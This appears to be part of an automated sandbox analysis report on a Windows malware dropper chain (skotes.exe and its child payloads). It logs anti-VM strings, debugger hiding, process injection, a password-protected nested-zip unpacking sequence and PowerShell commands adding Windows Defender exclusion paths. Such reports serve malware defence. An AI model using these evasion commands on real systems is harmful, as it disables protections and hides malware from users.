Source: e56fffc2ce.exe, 0000000E.00000002.2856597884.0000000000E2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: kz8ZdyP.exe, 0000000D.00000002.2573081196.0000000002D27000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 8F5F8 7PP8HEYO6M@\^q0VMware\|VIRTUAL\|A M I\|Xen
Source: kz8ZdyP.exe, 0000000D.00000002.2573081196.0000000002D27000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmware
Source: kz8ZdyP.exe, 0000000D.00000002.2573081196.0000000002D27000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMwareLR^q
Source: zudFSfy.exe, 00000009.00000002.2486574208.0000000003595000.00000004.00000800.00020000.00000000.sdmp, kz8ZdyP.exe, 0000000D.00000002.2573081196.0000000002D27000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmGuestLib.dll@\^q
Source: file.exe, 00000000.00000003.1730996972.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\
Source: kz8ZdyP.exe, 0000000D.00000002.2573081196.0000000002ABA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware\|VIRTUAL\|A M I\|Xen
Source: ac68c6b737.exe, 00000015.00000003.2740579331.00000000051E0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: DisableGuestVmNetworkConnectivity
Source: zudFSfy.exe, 00000009.00000002.2486574208.0000000003595000.00000004.00000800.00020000.00000000.sdmp, kz8ZdyP.exe, 0000000D.00000002.2573081196.0000000002D27000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $^q"C:\Windows\system32\vmGuestLib.dll@
Source: ac68c6b737.exe, 00000015.00000003.2740579331.00000000051E0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: EnableGuestVmNetworkConnectivity
Source: file.exe, 00000000.00000002.1754260362.00000000009CE000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000001.00000002.1780519621.0000000000D5E000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000002.00000002.1782906675.0000000000D5E000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000006.00000002.2976133799.0000000000D5E000.00000040.00000001.01000000.00000007.sdmp, ac68c6b737.exe, 00000015.00000002.2764578126.000000000031C000.00000040.00000001.01000000.00000014.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: kz8ZdyP.exe, 0000000D.00000002.2573081196.0000000002D27000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $^q 1:en-CH:Microsoft\|VMWare\|Virtual

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node	graph_1-10076
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node	graph_1-10063
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node	graph_2-10573

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017352001\ac68c6b737.exe	Thread information set: HideFromDebugger
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	Thread information set: HideFromDebugger
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1017352001\ac68c6b737.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1017352001\ac68c6b737.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1017352001\ac68c6b737.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1017352001\ac68c6b737.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1017352001\ac68c6b737.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1017352001\ac68c6b737.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1017352001\ac68c6b737.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1017352001\ac68c6b737.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1017352001\ac68c6b737.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1017352001\ac68c6b737.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1017352001\ac68c6b737.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017352001\ac68c6b737.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1017352001\ac68c6b737.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1017352001\ac68c6b737.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_04F30E14 rdtsc

0_2_04F30E14

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0081652B mov eax, dword ptr fs:[00000030h]	0_2_0081652B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0081A302 mov eax, dword ptr fs:[00000030h]	0_2_0081A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00BAA302 mov eax, dword ptr fs:[00000030h]	1_2_00BAA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00BA652B mov eax, dword ptr fs:[00000030h]	1_2_00BA652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00BAA302 mov eax, dword ptr fs:[00000030h]	2_2_00BAA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00BA652B mov eax, dword ptr fs:[00000030h]	2_2_00BA652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00BAA302 mov eax, dword ptr fs:[00000030h]	6_2_00BAA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00BA652B mov eax, dword ptr fs:[00000030h]	6_2_00BA652B

Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\unrlkpjy"
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\ProgramData"
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\unrlkpjy"
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\ProgramData"

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Memory written: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe	Memory written: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017354001\641d24797a.exe	Memory written: C:\Users\user\AppData\Local\Temp\1017354001\641d24797a.exe base: 400000 value starts with: 4D5A

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe "C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe "C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe "C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017352001\ac68c6b737.exe "C:\Users\user\AppData\Local\Temp\1017352001\ac68c6b737.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017353001\54326d271c.exe "C:\Users\user\AppData\Local\Temp\1017353001\54326d271c.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017354001\641d24797a.exe "C:\Users\user\AppData\Local\Temp\1017354001\641d24797a.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Process created: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe "C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe	Process created: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe "C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe	Process created: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe "C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\unrlkpjy"
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\ProgramData"
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Process created: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe "C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe"
Source: C:\Users\user\AppData\Local\Temp\1017352001\ac68c6b737.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Windows\System32\svchost.exe"
Source: C:\Users\user\AppData\Local\Temp\1017353001\54326d271c.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mode.com mode 65,10
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e file.zip -p24291711423417250691697322505 -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_7.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_6.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_5.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_4.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_3.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_2.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_1.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +H "in.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\in.exe "in.exe"
Source: C:\Users\user\AppData\Local\Temp\1017354001\641d24797a.exe	Process created: C:\Users\user\AppData\Local\Temp\1017354001\641d24797a.exe "C:\Users\user\AppData\Local\Temp\1017354001\641d24797a.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.0.0.1

Source: ac68c6b737.exe, 00000015.00000002.2764578126.000000000031C000.00000040.00000001.01000000.00000014.sdmp	Binary or memory string: AProgram Manager
Source: skotes.exe, skotes.exe, 00000006.00000002.2978449942.0000000000DA9000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: }Program Manager

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_00B8DD91 cpuid

6_2_00B8DD91

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017352001\ac68c6b737.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017352001\ac68c6b737.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017353001\54326d271c.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017353001\54326d271c.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017354001\641d24797a.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017354001\641d24797a.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\Candaral.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\Candarali.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\corbell.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\corbelli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation	Jump to behavior
